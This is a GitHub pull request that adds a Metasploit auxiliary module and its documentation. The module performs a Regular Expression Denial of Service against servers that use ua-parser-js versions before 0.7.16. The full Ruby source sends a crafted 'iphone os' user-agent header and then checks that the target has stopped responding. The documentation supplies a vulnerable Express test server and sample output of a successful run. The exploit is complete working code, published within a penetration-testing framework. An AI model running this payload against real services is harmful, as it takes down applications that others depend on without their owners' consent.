Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding ua_parser_js ReDoS Module #9284

Merged
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
66 changes: 66 additions & 0 deletions documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md
@@ -0,0 +1,66 @@
## Vulnerable Application

This auxiliary module exploits a Regular Expression Denial of Service vulnerability
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
Any application that uses a vulnerable version of this module and calls the `getOS`
or `getResult` functions will be vulnerable to this module. An example server is provided
below.

## How to Install

To install a vulnerable version of `ua-parser-js`, run:
```
npm i ua-parser-js@0.7.15
```

## Verification Steps

Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js.
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
6. Once all dependencies are installed, run the server with `node server.js`.
7. Open up a new terminal.
8. Start msfconsole.
9. `use auxiliary/dos/http/ua_parser_js_redos`.
10. `set RHOST <IP>`.
11. `run`.
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.

## Scenarios

### ua-parser-js npm module version 0.7.15

Expected output for successful exploitation:

```
[*] Testing Service to make sure it is working.
[*] Test request successful, attempting to send payload
[*] Sending ReDoS request to 192.168.3.24:3000.
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
[*] Testing for service unresponsiveness.
[+] Service not responding.
[*] Auxiliary module execution completed
```

### Example Vulnerable Application

```
// npm i express
// npm i ua-parser-js@0.7.15 (vulnerable)
// npm i ua-parser-js (non-vulnerable)

const express = require('express')
const uaParser = require('ua-parser-js');
const app = express()

app.get('/', (req, res) => {
var parser = new uaParser(req.headers['user-agent']);
res.end(JSON.stringify(parser.getResult()));
});

app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
```
113 changes: 113 additions & 0 deletions modules/auxiliary/dos/http/ua_parser_js_redos.rb
@@ -0,0 +1,113 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos

def initialize
super(
'Name' => 'ua-parser-js npm module ReDoS',
'Description' => %q{
This module exploits a Regular Expression Denial of Service vulnerability
in the npm module "ua-parser-js". Server-side applications that use
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
if they call the "getOS" or "getResult" functions. This vulnerability was
fixed as of version 0.7.16.
},
'References' =>
[
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
['CWE', '400'],
],
'Author' =>
[
'Ryan Knell, Sonatype Security Research',
'Nick Starke, Sonatype Security Research',
],
'License' => MSF_LICENSE
)

register_options([
Opt::RPORT(80)
])
end

def run
unless test_service
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
else
trigger_redos
test_service_unresponsive
end
end

def trigger_redos
begin
print_status("Sending ReDoS request to #{peer}.")

res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'headers' => {
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
}
})

if res.nil?
print_status("No response received from #{peer}, service is most likely unresponsive.")
else
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
end

rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
rescue ::Timeout::Error
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
end
end

def test_service_unresponsive
begin
print_status('Testing for service unresponsiveness.')

res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})

if res.nil?
print_good('Service not responding.')
else
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
end
rescue ::Rex::ConnectionRefused
print_error('An unknown error occurred.')
rescue ::Timeout::Error
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
end
end

def test_service
begin
print_status('Testing Service to make sure it is working.')

res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})

if !res.nil? && (res.code == 200 || res.code == 404)
print_status('Test request successful, attempting to send payload')
return true
else
return false
end
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
return false
end
end
end